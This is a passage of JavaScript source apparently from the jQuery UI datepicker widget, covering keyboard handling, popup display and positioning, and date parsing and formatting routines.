inline.children().removeClass('ui-state-disabled');
}
this._disabledInputs = $.map(this._disabledInputs,
function(value) { return (value == target ? null : value); }); // delete entry
},
/* Disable the date picker to a jQuery selection.
@param target element - the target input field or division or span */
_disableDatepicker: function(target) {
var $target = $(target);
var inst = $.data(target, PROP_NAME);
if (!$target.hasClass(this.markerClassName)) {
return;
}
var nodeName = target.nodeName.toLowerCase();
if (nodeName == 'input') {
target.disabled = true;
inst.trigger.filter('button').
each(function() { this.disabled = true; }).end().
filter('img').css({opacity: '0.5', cursor: 'default'});
}
else if (nodeName == 'div' || nodeName == 'span') {
var inline = $target.children('.' + this._inlineClass);
inline.children().addClass('ui-state-disabled');
}
this._disabledInputs = $.map(this._disabledInputs,
function(value) { return (value == target ? null : value); }); // delete entry
this._disabledInputs[this._disabledInputs.length] = target;
},
/* Is the first field in a jQuery collection disabled as a datepicker?
@param target element - the target input field or division or span
@return boolean - true if disabled, false if enabled */
_isDisabledDatepicker: function(target) {
if (!target) {
return false;
}
for (var i = 0; i < this._disabledInputs.length; i++) {
if (this._disabledInputs[i] == target)
return true;
}
return false;
},
/* Retrieve the instance data for the target control.
@param target element - the target input field or division or span
@return object - the associated instance data
@throws error if a jQuery problem getting data */
_getInst: function(target) {
try {
return $.data(target, PROP_NAME);
}
catch (err) {
throw 'Missing instance data for this datepicker';
}
},
/* Update or retrieve the settings for a date picker attached to an input field or division.
@param target element - the target input field or division or span
@param name object - the new settings to update or
string - the name of the setting to change or retrieve,
when retrieving also 'all' for all instance settings or
'defaults' for all global defaults
@param value any - the new value for the setting
(omit if above is an object or to retrieve a value) */
_optionDatepicker: function(target, name, value) {
var inst = this._getInst(target);
if (arguments.length == 2 && typeof name == 'string') {
return (name == 'defaults' ? $.extend({}, $.datepicker._defaults) :
(inst ? (name == 'all' ? $.extend({}, inst.settings) :
this._get(inst, name)) : null));
}
var settings = name || {};
if (typeof name == 'string') {
settings = {};
settings[name] = value;
}
if (inst) {
if (this._curInst == inst) {
this._hideDatepicker();
}
var date = this._getDateDatepicker(target, true);
extendRemove(inst.settings, settings);
this._attachments($(target), inst);
this._autoSize(inst);
this._setDateDatepicker(target, date);
this._updateDatepicker(inst);
}
},
// change method deprecated
_changeDatepicker: function(target, name, value) {
this._optionDatepicker(target, name, value);
},
/* Redraw the date picker attached to an input field or division.
@param target element - the target input field or division or span */
_refreshDatepicker: function(target) {
var inst = this._getInst(target);
if (inst) {
this._updateDatepicker(inst);
}
},
/* Set the dates for a jQuery selection.
@param target element - the target input field or division or span
@param date Date - the new date */
_setDateDatepicker: function(target, date) {
var inst = this._getInst(target);
if (inst) {
this._setDate(inst, date);
this._updateDatepicker(inst);
this._updateAlternate(inst);
}
},
/* Get the date(s) for the first entry in a jQuery selection.
@param target element - the target input field or division or span
@param noDefault boolean - true if no default date is to be used
@return Date - the current date */
_getDateDatepicker: function(target, noDefault) {
var inst = this._getInst(target);
if (inst && !inst.inline)
this._setDateFromField(inst, noDefault);
return (inst ? this._getDate(inst) : null);
},
/* Handle keystrokes. */
_doKeyDown: function(event) {
var inst = $.datepicker._getInst(event.target);
var handled = true;
var isRTL = inst.dpDiv.is('.ui-datepicker-rtl');
inst._keyEvent = true;
if ($.datepicker._datepickerShowing)
switch (event.keyCode) {
case 9: $.datepicker._hideDatepicker();
handled = false;
break; // hide on tab out
case 13: var sel = $('td.' + $.datepicker._dayOverClass, inst.dpDiv).
add($('td.' + $.datepicker._currentClass, inst.dpDiv));
if (sel[0])
$.datepicker._selectDay(event.target, inst.selectedMonth, inst.selectedYear, sel[0]);
else
$.datepicker._hideDatepicker();
return false; // don't submit the form
break; // select the value on enter
case 27: $.datepicker._hideDatepicker();
break; // hide on escape
case 33: $.datepicker._adjustDate(event.target, (event.ctrlKey ?
-$.datepicker._get(inst, 'stepBigMonths') :
-$.datepicker._get(inst, 'stepMonths')), 'M');
break; // previous month/year on page up/+ ctrl
case 34: $.datepicker._adjustDate(event.target, (event.ctrlKey ?
+$.datepicker._get(inst, 'stepBigMonths') :
+$.datepicker._get(inst, 'stepMonths')), 'M');
break; // next month/year on page down/+ ctrl
case 35: if (event.ctrlKey || event.metaKey) $.datepicker._clearDate(event.target);
handled = event.ctrlKey || event.metaKey;
break; // clear on ctrl or command +end
case 36: if (event.ctrlKey || event.metaKey) $.datepicker._gotoToday(event.target);
handled = event.ctrlKey || event.metaKey;
break; // current on ctrl or command +home
case 37: if (event.ctrlKey || event.metaKey) $.datepicker._adjustDate(event.target, (isRTL ? +1 : -1), 'D');
handled = event.ctrlKey || event.metaKey;
// -1 day on ctrl or command +left
if (event.originalEvent.altKey) $.datepicker._adjustDate(event.target, (event.ctrlKey ?
-$.datepicker._get(inst, 'stepBigMonths') :
-$.datepicker._get(inst, 'stepMonths')), 'M');
// next month/year on alt +left on Mac
break;
case 38: if (event.ctrlKey || event.metaKey) $.datepicker._adjustDate(event.target, -7, 'D');
handled = event.ctrlKey || event.metaKey;
break; // -1 week on ctrl or command +up
case 39: if (event.ctrlKey || event.metaKey) $.datepicker._adjustDate(event.target, (isRTL ? -1 : +1), 'D');
handled = event.ctrlKey || event.metaKey;
// +1 day on ctrl or command +right
if (event.originalEvent.altKey) $.datepicker._adjustDate(event.target, (event.ctrlKey ?
+$.datepicker._get(inst, 'stepBigMonths') :
+$.datepicker._get(inst, 'stepMonths')), 'M');
// next month/year on alt +right
break;
case 40: if (event.ctrlKey || event.metaKey) $.datepicker._adjustDate(event.target, +7, 'D');
handled = event.ctrlKey || event.metaKey;
break; // +1 week on ctrl or command +down
default: handled = false;
}
else if (event.keyCode == 36 && event.ctrlKey) // display the date picker on ctrl+home
$.datepicker._showDatepicker(this);
else {
handled = false;
}
if (handled) {
event.preventDefault();
event.stopPropagation();
}
},
/* Filter entered characters - based on date format. */
_doKeyPress: function(event) {
var inst = $.datepicker._getInst(event.target);
if ($.datepicker._get(inst, 'constrainInput')) {
var chars = $.datepicker._possibleChars($.datepicker._get(inst, 'dateFormat'));
var chr = String.fromCharCode(event.charCode == undefined ? event.keyCode : event.charCode);
return event.ctrlKey || (chr < ' ' || !chars || chars.indexOf(chr) > -1);
}
},
/* Synchronise manual entry and field/alternate field. */
_doKeyUp: function(event) {
var inst = $.datepicker._getInst(event.target);
if (inst.input.val() != inst.lastVal) {
try {
var date = $.datepicker.parseDate($.datepicker._get(inst, 'dateFormat'),
(inst.input ? inst.input.val() : null),
$.datepicker._getFormatConfig(inst));
if (date) { // only if valid
$.datepicker._setDateFromField(inst);
$.datepicker._updateAlternate(inst);
$.datepicker._updateDatepicker(inst);
}
}
catch (event) {
$.datepicker.log(event);
}
}
return true;
},
/* Pop-up the date picker for a given input field.
@param input element - the input field attached to the date picker or
event - if triggered by focus */
_showDatepicker: function(input) {
input = input.target || input;
if (input.nodeName.toLowerCase() != 'input') // find from button/image trigger
input = $('input', input.parentNode)[0];
if ($.datepicker._isDisabledDatepicker(input) || $.datepicker._lastInput == input) // already here
return;
var inst = $.datepicker._getInst(input);
if ($.datepicker._curInst && $.datepicker._curInst != inst) {
$.datepicker._curInst.dpDiv.stop(true, true);
}
var beforeShow = $.datepicker._get(inst, 'beforeShow');
extendRemove(inst.settings, (beforeShow ? beforeShow.apply(input, [input, inst]) : {}));
inst.lastVal = null;
$.datepicker._lastInput = input;
$.datepicker._setDateFromField(inst);
if ($.datepicker._inDialog) // hide cursor
input.value = '';
if (!$.datepicker._pos) { // position below input
$.datepicker._pos = $.datepicker._findPos(input);
$.datepicker._pos[1] += input.offsetHeight; // add the height
}
var isFixed = false;
$(input).parents().each(function() {
isFixed |= $(this).css('position') == 'fixed';
return !isFixed;
});
if (isFixed && $.browser.opera) { // correction for Opera when fixed and scrolled
$.datepicker._pos[0] -= document.documentElement.scrollLeft;
$.datepicker._pos[1] -= document.documentElement.scrollTop;
}
var offset = {left: $.datepicker._pos[0], top: $.datepicker._pos[1]};
$.datepicker._pos = null;
// determine sizing offscreen
inst.dpDiv.css({position: 'absolute', display: 'block', top: '-1000px'});
$.datepicker._updateDatepicker(inst);
// fix width for dynamic number of date pickers
// and adjust position before showing
offset = $.datepicker._checkOffset(inst, offset, isFixed);
inst.dpDiv.css({position: ($.datepicker._inDialog && $.blockUI ?
'static' : (isFixed ? 'fixed' : 'absolute')), display: 'none',
left: offset.left + 'px', top: offset.top + 'px'});
if (!inst.inline) {
var showAnim = $.datepicker._get(inst, 'showAnim');
var duration = $.datepicker._get(inst, 'duration');
var postProcess = function() {
$.datepicker._datepickerShowing = true;
var borders = $.datepicker._getBorders(inst.dpDiv);
inst.dpDiv.find('iframe.ui-datepicker-cover'). // IE6- only
css({left: -borders[0], top: -borders[1],
width: inst.dpDiv.outerWidth(), height: inst.dpDiv.outerHeight()});
};
inst.dpDiv.zIndex($(input).zIndex()+1);
if ($.effects && $.effects[showAnim])
inst.dpDiv.show(showAnim, $.datepicker._get(inst, 'showOptions'), duration, postProcess);
else
inst.dpDiv[showAnim || 'show']((showAnim ? duration : null), postProcess);
if (!showAnim || !duration)
postProcess();
if (inst.input.is(':visible') && !inst.input.is(':disabled'))
inst.input.focus();
$.datepicker._curInst = inst;
}
},
/* Generate the date picker content. */
_updateDatepicker: function(inst) {
var self = this;
var borders = $.datepicker._getBorders(inst.dpDiv);
inst.dpDiv.empty().append(this._generateHTML(inst))
.find('iframe.ui-datepicker-cover') // IE6- only
.css({left: -borders[0], top: -borders[1],
width: inst.dpDiv.outerWidth(), height: inst.dpDiv.outerHeight()})
.end()
.find('button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a')
.bind('mouseout', function(){
$(this).removeClass('ui-state-hover');
if(this.className.indexOf('ui-datepicker-prev') != -1) $(this).removeClass('ui-datepicker-prev-hover');
if(this.className.indexOf('ui-datepicker-next') != -1) $(this).removeClass('ui-datepicker-next-hover');
})
.bind('mouseover', function(){
if (!self._isDisabledDatepicker( inst.inline ? inst.dpDiv.parent()[0] : inst.input[0])) {
$(this).parents('.ui-datepicker-calendar').find('a').removeClass('ui-state-hover');
$(this).addClass('ui-state-hover');
if(this.className.indexOf('ui-datepicker-prev') != -1) $(this).addClass('ui-datepicker-prev-hover');
if(this.className.indexOf('ui-datepicker-next') != -1) $(this).addClass('ui-datepicker-next-hover');
}
})
.end()
.find('.' + this._dayOverClass + ' a')
.trigger('mouseover')
.end();
var numMonths = this._getNumberOfMonths(inst);
var cols = numMonths[1];
var width = 17;
if (cols > 1)
inst.dpDiv.addClass('ui-datepicker-multi-' + cols).css('width', (width * cols) + 'em');
else
inst.dpDiv.removeClass('ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4').width('');
inst.dpDiv[(numMonths[0] != 1 || numMonths[1] != 1 ? 'add' : 'remove') +
'Class']('ui-datepicker-multi');
inst.dpDiv[(this._get(inst, 'isRTL') ? 'add' : 'remove') +
'Class']('ui-datepicker-rtl');
if (inst == $.datepicker._curInst && $.datepicker._datepickerShowing && inst.input &&
inst.input.is(':visible') && !inst.input.is(':disabled'))
inst.input.focus();
},
/* Retrieve the size of left and top borders for an element.
@param elem (jQuery object) the element of interest
@return (number[2]) the left and top borders */
_getBorders: function(elem) {
var convert = function(value) {
return {thin: 1, medium: 2, thick: 3}[value] || value;
};
return [parseFloat(convert(elem.css('border-left-width'))),
parseFloat(convert(elem.css('border-top-width')))];
},
/* Check positioning to remain on screen. */
_checkOffset: function(inst, offset, isFixed) {
var dpWidth = inst.dpDiv.outerWidth();
var dpHeight = inst.dpDiv.outerHeight();
var inputWidth = inst.input ? inst.input.outerWidth() : 0;
var inputHeight = inst.input ? inst.input.outerHeight() : 0;
var viewWidth = document.documentElement.clientWidth + $(document).scrollLeft();
var viewHeight = document.documentElement.clientHeight + $(document).scrollTop();
offset.left -= (this._get(inst, 'isRTL') ? (dpWidth - inputWidth) : 0);
offset.left -= (isFixed && offset.left == inst.input.offset().left) ? $(document).scrollLeft() : 0;
offset.top -= (isFixed && offset.top == (inst.input.offset().top + inputHeight)) ? $(document).scrollTop() : 0;
// now check if datepicker is showing outside window viewport - move to a better place if so.
offset.left -= Math.min(offset.left, (offset.left + dpWidth > viewWidth && viewWidth > dpWidth) ?
Math.abs(offset.left + dpWidth - viewWidth) : 0);
offset.top -= Math.min(offset.top, (offset.top + dpHeight > viewHeight && viewHeight > dpHeight) ?
Math.abs(dpHeight + inputHeight) : 0);
return offset;
},
/* Find an object's position on the screen. */
_findPos: function(obj) {
var inst = this._getInst(obj);
var isRTL = this._get(inst, 'isRTL');
while (obj && (obj.type == 'hidden' || obj.nodeType != 1)) {
obj = obj[isRTL ? 'previousSibling' : 'nextSibling'];
}
var position = $(obj).offset();
return [position.left, position.top];
},
/* Hide the date picker from view.
@param input element - the input field attached to the date picker */
_hideDatepicker: function(input) {
var inst = this._curInst;
if (!inst || (input && inst != $.data(input, PROP_NAME)))
return;
if (this._datepickerShowing) {
var showAnim = this._get(inst, 'showAnim');
var duration = this._get(inst, 'duration');
var postProcess = function() {
$.datepicker._tidyDialog(inst);
this._curInst = null;
};
if ($.effects && $.effects[showAnim])
inst.dpDiv.hide(showAnim, $.datepicker._get(inst, 'showOptions'), duration, postProcess);
else
inst.dpDiv[(showAnim == 'slideDown' ? 'slideUp' :
(showAnim == 'fadeIn' ? 'fadeOut' : 'hide'))]((showAnim ? duration : null), postProcess);
if (!showAnim)
postProcess();
var onClose = this._get(inst, 'onClose');
if (onClose)
onClose.apply((inst.input ? inst.input[0] : null),
[(inst.input ? inst.input.val() : ''), inst]); // trigger custom callback
this._datepickerShowing = false;
this._lastInput = null;
if (this._inDialog) {
this._dialogInput.css({ position: 'absolute', left: '0', top: '-100px' });
if ($.blockUI) {
$.unblockUI();
$('body').append(this.dpDiv);
}
}
this._inDialog = false;
}
},
/* Tidy up after a dialog display. */
_tidyDialog: function(inst) {
inst.dpDiv.removeClass(this._dialogClass).unbind('.ui-datepicker-calendar');
},
/* Close date picker if clicked elsewhere. */
_checkExternalClick: function(event) {
if (!$.datepicker._curInst)
return;
var $target = $(event.target);
if ($target[0].id != $.datepicker._mainDivId &&
$target.parents('#' + $.datepicker._mainDivId).length == 0 &&
!$target.hasClass($.datepicker.markerClassName) &&
!$target.hasClass($.datepicker._triggerClass) &&
$.datepicker._datepickerShowing && !($.datepicker._inDialog && $.blockUI))
$.datepicker._hideDatepicker();
},
/* Adjust one of the date sub-fields. */
_adjustDate: function(id, offset, period) {
var target = $(id);
var inst = this._getInst(target[0]);
if (this._isDisabledDatepicker(target[0])) {
return;
}
this._adjustInstDate(inst, offset +
(period == 'M' ? this._get(inst, 'showCurrentAtPos') : 0), // undo positioning
period);
this._updateDatepicker(inst);
},
/* Action for current link. */
_gotoToday: function(id) {
var target = $(id);
var inst = this._getInst(target[0]);
if (this._get(inst, 'gotoCurrent') && inst.currentDay) {
inst.selectedDay = inst.currentDay;
inst.drawMonth = inst.selectedMonth = inst.currentMonth;
inst.drawYear = inst.selectedYear = inst.currentYear;
}
else {
var date = new Date();
inst.selectedDay = date.getDate();
inst.drawMonth = inst.selectedMonth = date.getMonth();
inst.drawYear = inst.selectedYear = date.getFullYear();
}
this._notifyChange(inst);
this._adjustDate(target);
},
/* Action for selecting a new month/year. */
_selectMonthYear: function(id, select, period) {
var target = $(id);
var inst = this._getInst(target[0]);
inst._selectingMonthYear = false;
inst['selected' + (period == 'M' ? 'Month' : 'Year')] =
inst['draw' + (period == 'M' ? 'Month' : 'Year')] =
parseInt(select.options[select.selectedIndex].value,10);
this._notifyChange(inst);
this._adjustDate(target);
},
/* Restore input focus after not changing month/year. */
_clickMonthYear: function(id) {
var target = $(id);
var inst = this._getInst(target[0]);
if (inst.input && inst._selectingMonthYear) {
setTimeout(function() {
inst.input.focus();
}, 0);
}
inst._selectingMonthYear = !inst._selectingMonthYear;
},
/* Action for selecting a day. */
_selectDay: function(id, month, year, td) {
var target = $(id);
if ($(td).hasClass(this._unselectableClass) || this._isDisabledDatepicker(target[0])) {
return;
}
var inst = this._getInst(target[0]);
inst.selectedDay = inst.currentDay = $('a', td).html();
inst.selectedMonth = inst.currentMonth = month;
inst.selectedYear = inst.currentYear = year;
this._selectDate(id, this._formatDate(inst,
inst.currentDay, inst.currentMonth, inst.currentYear));
},
/* Erase the input field and hide the date picker. */
_clearDate: function(id) {
var target = $(id);
var inst = this._getInst(target[0]);
this._selectDate(target, '');
},
/* Update the input field with the selected date. */
_selectDate: function(id, dateStr) {
var target = $(id);
var inst = this._getInst(target[0]);
dateStr = (dateStr != null ? dateStr : this._formatDate(inst));
if (inst.input)
inst.input.val(dateStr);
this._updateAlternate(inst);
var onSelect = this._get(inst, 'onSelect');
if (onSelect)
onSelect.apply((inst.input ? inst.input[0] : null), [dateStr, inst]); // trigger custom callback
else if (inst.input)
inst.input.trigger('change'); // fire the change event
if (inst.inline)
this._updateDatepicker(inst);
else {
this._hideDatepicker();
this._lastInput = inst.input[0];
if (typeof(inst.input[0]) != 'object')
inst.input.focus(); // restore focus
this._lastInput = null;
}
},
/* Update any alternate field to synchronise with the main field. */
_updateAlternate: function(inst) {
var altField = this._get(inst, 'altField');
if (altField) { // update alternate field too
var altFormat = this._get(inst, 'altFormat') || this._get(inst, 'dateFormat');
var date = this._getDate(inst);
var dateStr = this.formatDate(altFormat, date, this._getFormatConfig(inst));
$(altField).each(function() { $(this).val(dateStr); });
}
},
/* Set as beforeShowDay function to prevent selection of weekends.
@param date Date - the date to customise
@return [boolean, string] - is this date selectable?, what is its CSS class? */
noWeekends: function(date) {
var day = date.getDay();
return [(day > 0 && day < 6), ''];
},
/* Set as calculateWeek to determine the week of the year based on the ISO 8601 definition.
@param date Date - the date to get the week for
@return number - the number of the week within the year that contains this date */
iso8601Week: function(date) {
var checkDate = new Date(date.getTime());
// Find Thursday of this week starting on Monday
checkDate.setDate(checkDate.getDate() + 4 - (checkDate.getDay() || 7));
var time = checkDate.getTime();
checkDate.setMonth(0); // Compare with Jan 1
checkDate.setDate(1);
return Math.floor(Math.round((time - checkDate) / 86400000) / 7) + 1;
},
/* Parse a string value into a date object.
See formatDate below for the possible formats.
@param format string - the expected format of the date
@param value string - the date in the above format
@param settings Object - attributes include:
shortYearCutoff number - the cutoff year for determining the century (optional)
dayNamesShort string[7] - abbreviated names of the days from Sunday (optional)
dayNames string[7] - names of the days from Sunday (optional)
monthNamesShort string[12] - abbreviated names of the months (optional)
monthNames string[12] - names of the months (optional)
@return Date - the extracted date value or null if value is blank */
parseDate: function (format, value, settings) {
if (format == null || value == null)
throw 'Invalid arguments';
value = (typeof value == 'object' ? value.toString() : value + '');
if (value == '')
return null;
var shortYearCutoff = (settings ? settings.shortYearCutoff : null) || this._defaults.shortYearCutoff;
var dayNamesShort = (settings ? settings.dayNamesShort : null) || this._defaults.dayNamesShort;
var dayNames = (settings ? settings.dayNames : null) || this._defaults.dayNames;
var monthNamesShort = (settings ? settings.monthNamesShort : null) || this._defaults.monthNamesShort;
var monthNames = (settings ? settings.monthNames : null) || this._defaults.monthNames;
var year = -1;
var month = -1;
var day = -1;
var doy = -1;
var literal = false;
// Check whether a format character is doubled
var lookAhead = function(match) {
var matches = (iFormat + 1 < format.length && format.charAt(iFormat + 1) == match);
if (matches)
iFormat++;
return matches;
};
// Extract a number from the string value
var getNumber = function(match) {
lookAhead(match);
var size = (match == '@' ? 14 : (match == '!' ? 20 :
(match == 'y' ? 4 : (match == 'o' ? 3 : 2))));
var digits = new RegExp('^\\d{1,' + size + '}');
var num = value.substring(iValue).match(digits);
if (!num)
throw 'Missing number at position ' + iValue;
iValue += num[0].length;
return parseInt(num[0], 10);
};
// Extract a name from the string value and convert to an index
var getName = function(match, shortNames, longNames) {
var names = (lookAhead(match) ? longNames : shortNames);
for (var i = 0; i < names.length; i++) {
if (value.substr(iValue, names[i].length).toLowerCase() == names[i].toLowerCase()) {
iValue += names[i].length;
return i + 1;
}
}
throw 'Unknown name at position ' + iValue;
};
// Confirm that a literal character matches the string value
var checkLiteral = function() {
if (value.charAt(iValue) != format.charAt(iFormat))
throw 'Unexpected literal at position ' + iValue;
iValue++;
};
var iValue = 0;
for (var iFormat = 0; iFormat < format.length; iFormat++) {
if (literal)
if (format.charAt(iFormat) == "'" && !lookAhead("'"))
literal = false;
else
checkLiteral();
else
switch (format.charAt(iFormat)) {
case 'd':
day = getNumber('d');
break;
case 'D':
getName('D', dayNamesShort, dayNames);
break;
case 'o':
doy = getNumber('o');
break;
case 'm':
month = getNumber('m');
break;
case 'M':
month = getName('M', monthNamesShort, monthNames);
break;
case 'y':
year = getNumber('y');
break;
case '@':
var date = new Date(getNumber('@'));
year = date.getFullYear();
month = date.getMonth() + 1;
day = date.getDate();
break;
case '!':
var date = new Date((getNumber('!') - this._ticksTo1970) / 10000);
year = date.getFullYear();
month = date.getMonth() + 1;
day = date.getDate();
break;
case "'":
if (lookAhead("'"))
checkLiteral();
else
literal = true;
break;
default:
checkLiteral();
}
}
if (year == -1)
year = new Date().getFullYear();
else if (year < 100)
year += new Date().getFullYear() - new Date().getFullYear() % 100 +
(year <= shortYearCutoff ? 0 : -100);
if (doy > -1) {
month = 1;
day = doy;
do {
var dim = this._getDaysInMonth(year, month - 1);
if (day <= dim)
break;
month++;
day -= dim;
} while (true);
}
var date = this._daylightSavingAdjust(new Date(year, month - 1, day));
if (date.getFullYear() != year || date.getMonth() + 1 != month || date.getDate() != day)
throw 'Invalid date'; // E.g. 31/02/*
return date;
},
/* Standard date formats. */
ATOM: 'yy-mm-dd', // RFC 3339 (ISO 8601)
COOKIE: 'D, dd M yy',
ISO_8601: 'yy-mm-dd',
RFC_822: 'D, d M y',
RFC_850: 'DD, dd-M-y',
RFC_1036: 'D, d M y',
RFC_1123: 'D, d M yy',
RFC_2822: 'D, d M yy',
RSS: 'D, d M y', // RFC 822
TICKS: '!',
TIMESTAMP: '@',
W3C: 'yy-mm-dd', // ISO 8601
_ticksTo1970: (((1970 - 1) * 365 + Math.floor(1970 / 4) - Math.floor(1970 / 100) +
Math.floor(1970 / 400)) * 24 * 60 * 60 * 10000000),
/* Format a date object into a string value.
The format can be combinations of the following:
d - day of month (no leading zero)
dd - day of month (two digit)
o - day of year (no leading zeros)
oo - day of year (three digit)
D - day name short
DD - day name long
m - month of year (no leading zero)
mm - month of year (two digit)
M - month name short
MM - month name long
y - year (two digit)
yy - year (four digit)
@ - Unix timestamp (ms since 01/01/1970)
! - Windows ticks (100ns since 01/01/0001)
'...' - literal text
'' - single quote
@param format string - the desired format of the date
@param date Date - the date value to format
@param settings Object - attributes include:
dayNamesShort string[7] - abbreviated names of the days from Sunday (optional)
dayNames string[7] - names of the days from Sunday (optional)
monthNamesShort string[12] - abbreviated names of the months (optional)
monthNames string[12] - names of the months (optional)
@return string - the date in the above format */
formatDate: function (format, date, settings) {
if (!date)
return '';
var dayNamesShort = (settings ? settings.dayNamesShort : null) || this._defaults.dayNamesShort;
var dayNames = (settings ? settings.dayNames : null) || this._defaults.dayNames;
var monthNamesShort = (settings ? settings.monthNamesShort : null) || this._defaults.monthNamesShort;
var monthNames = (settings ? settings.monthNames : null) || this._defaults.monthNames;
// Check whether a format character is doubled
var lookAhead = function(match) {
var matches = (iFormat + 1 < format.length && format.charAt(iFormat + 1) == match);
if (matches)
iFormat++;
return matches;
};
// Format a number, with leading zero if necessary
var formatNumber = function(match, value, len) {
var num = '' + value;
if (lookAhead(match))
while (num.length < len)
num = '0' + num;
return num;
};
// Format a name, short or long as requested
var formatName = function(match, value, shortNames, longNames) {
return (lookAhead(match) ? longNames[value] : shortNames[value]);
};
var output = '';
var literal = false;
if (date)
for (var iFormat = 0; iFormat < format.length; iFormat++) {
if (literal)
if (format.charAt(iFormat) == "'" && !lookAhead("'"))
literal = false;
else
output += format.charAt(iFormat);
else
switch (format.charAt(iFormat)) {
case 'd':
output += formatNumber('d', date.getDate(), 2);
break;
case 'D':
output += formatName('D', date.getDay(), dayNamesShort, dayNames);
break;
case 'o':
output += formatNumber('o',
(date.getTime() - new Date(date.getFullYear(), 0, 0).getTime()) / 86400000, 3);
break;
case 'm':
output += formatNumber('m', date.getMonth() + 1, 2);
break;
case 'M':
output += formatName('M', date.getMonth(), monthNamesShort, monthNames);
break;
case 'y':
output += (lookAhead('y') ? date.getFullYear() :
(date.getYear() % 100 < 10 ? '0' : '') + date.getYear() % 100);
break;
case '@':
output += date.getTime();
break;
case '!':
output += date.getTime() * 10000 + this._ticksTo1970;
break;
case "'":
if (lookAhead("'"))
output += "'";
else
literal = true;
break;
default:
output += format.charAt(iFormat);
}
}
return output;
},
/* Extract all possible characters from the date format. */
_possibleChars: function (format) {
var chars = '';
var literal = false;
// Check whether a format character is doubled
var lookAhead = function(match) {
var matches = (iFormat + 1 < format.length && format.charAt(iFormat + 1) == match);
if (matches)
iFormat++;
return matches;
};
for (var iFormat = 0; iFormat < format.length; iFormat++)
if (literal)
if (format.charAt(iFormat) == "'" && !lookAhead("'"))
literal = false;
else
chars += format.charAt(iFormat);
else
switch (format.charAt(iFormat)) {
case 'd': case 'm': case 'y': case '@':
chars += '0123456789';
break;
case 'D': case 'M':
return null; // Accept anything
case "'":
if (lookAhead("'"))
chars += "'";
else
literal = true;
break;
default:
chars += format.charAt(iFormat);
}
return chars;
},
/* Get a setting value, defaulting if necessary. */
_get: function(inst, name) {
return inst.settings[name] !== undefined ?
inst.settings[name] : this._defaults[name];
},
/* Parse existing date and initialise date picker. */
_setDateFromField: function(inst, noDefault) {
if (inst.input.val() == inst.lastVal) {
return;
}
var dateFormat = this._get(inst, 'dateFormat');
var dates = inst.lastVal = inst.input ? inst.input.val() : null;
var date, defaultDate;
date = defaultDate = this._getDefaultDate(inst);
var settings = this._getFormatConfig(inst);
try {
date = this.parseDate(dateFormat, dates, settings) || defaultDate;
} catch (event) {
this.log(event);
dates = (noDefault ? '' : dates);
}
inst.selectedDay = date.getDate();
inst.drawMonth = inst.selectedMonth = date.getMonth();
inst.drawYear = inst.selectedYear = date.getFullYear();
inst.currentDay = (dates ? date.getDate() : 0);
inst.currentMonth = (dates ? date.getMonth() : 0);
inst.currentYear = (dates ? date.getFullYear() : 0);
this._adjustInstDate(inst);
},
/* Retrieve the default date shown on opening. */
_getDefaultDate: function(inst) {
return this._restrictMinMax(inst,
this._determineDate(inst, this._get(inst, 'defaultDate'), new Date()));
},
/* A date may be specified as an exact value or a relative one. */
_determineDate: function(inst, date, defaultDate) {
var offsetNumeric = function(offset) {
var date = new Date();
date.setDate(date.getDate() + offset);
return date;
};
var offsetString = function(offset) {
try {
return $.datepicker.parseDate($.datepicker._get(inst, 'dateFormat'),
offset, $.datepicker._getFormatConfig(inst));
}
catch (e) {
// Ignore
}
var date = (offset.toLowerCase().match(/^c/) ?
$.datepicker._getDate(inst) : null) || new Date();
var year = date.getFullYear();
var month = date.getMonth();
var day = date.getDate();
var pattern = /([+-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g;
var matches = pattern.exec(offset);
while (matches) {
switch (matches[2] || 'd') {
case 'd' : case 'D' :
day += parseInt(matches[1],10); break;
case 'w' : case 'W' :
day += parseInt(matches[1],10) * 7; break;
case 'm' : case 'M' :
month += parseInt(matches[1],10);
day = Math.min(day, $.datepicker._getDaysInMonth(year, month));
break;
case 'y': case 'Y' :
year += parseInt(matches[1],10);
day = Math.min(day, $.datepicker._getDaysInMonth(year, month));
break;
}
matches = pattern.exec(offset);
}
return new Date(year, month, day);
};
date = (date == null ? defaultDate : (typeof date == 'string' ? offsetString(date) :
(typeof date == 'number' ? (isNaN(date) ? defaultDate : offsetNumeric(date)) : date)));
date = (date && date.toString() == 'Invalid Date' ? defaultDate : date);
if (date) {
date.setHours(0);
date.setMinutes(0);
date.setSeconds(0);
date.setMilliseconds(0);
}
return this._daylightSavingAdjust(date);
},
/* Handle switch to/from daylight saving.
Hours may be non-zero on daylight saving cut-over:
> 12 when midnight changeover, but then cannot generate
midnight datetime, so jump to 1AM, otherwise reset.
@param date (Date) the date to check
@return (Date) the corrected date */
_daylightSavingAdjust: function(date) {
if (!date) return null;
date.setHours(date.getHours() > 12 ? date.getHours() + 2 : 0);
return date;
},
/* Set the date(s) directly. */
_setDate: function(inst, date, noChange) {
var clear = !(date);
var origMonth = inst.selectedMonth;
var origYear = inst.selectedYear;
date = this._restrictMinMax(inst, this._determineDate(inst, date, new Date()));
inst.selectedDay = inst.currentDay = date.getDate();
inst.drawMonth = inst.selectedMonth = inst.currentMonth = date.getMonth();
inst.drawYear = inst.selectedYear = inst.currentYear = date.getFullYear();
if ((origMonth != inst.selectedMonth || origYear != inst.selectedYear) && !noChange)
this._notifyChange(inst);
this._adjustInstDate(inst);
if (inst.input) {
inst.input.val(clear ? '' : this._formatDate(inst));
}
},
/* Retrieve the date(s) directly. */
_getDate: function(inst) {
var startDate = (!inst.currentYear || (inst.input && inst.input.val() == '') ? null :
this._daylightSavingAdjust(new Date(
inst.currentYear, inst.currentMonth, inst.currentDay)));
return startDate;
},
/* Generate the HTML for the current state of the date picker. */
_generateHTML: function(inst) {
var today = new Date();
today = this._daylightSavingAdjust(
new Date(today.getFullYear(), today.getMonth(), today.getDate())); // clear time
var isRTL = this._get(inst, 'isRTL');
var showButtonPanel = this._get(inst, 'showButtonPanel');
var hideIfNoPrevNext = this._get(inst, 'hideIfNoPrevNext');
var navigationAsDateFormat = this._get(inst, 'navigationAsDateFormat');
var numMonths = this._getNumberOfMonths(inst);
var showCurrentAtPos = this._get(inst, 'showCurrentAtPos');
var stepMonths = this._get(inst, 'stepMonths');
var isMultiMonth = (numMonths[0] != 1 || numMonths[1] != 1);
var currentDate = this._daylightSavingAdjust((!inst.currentDay ? new Date(9999, 9, 9) :
new Date(inst.currentYear, inst.currentMonth, inst.currentDay)));
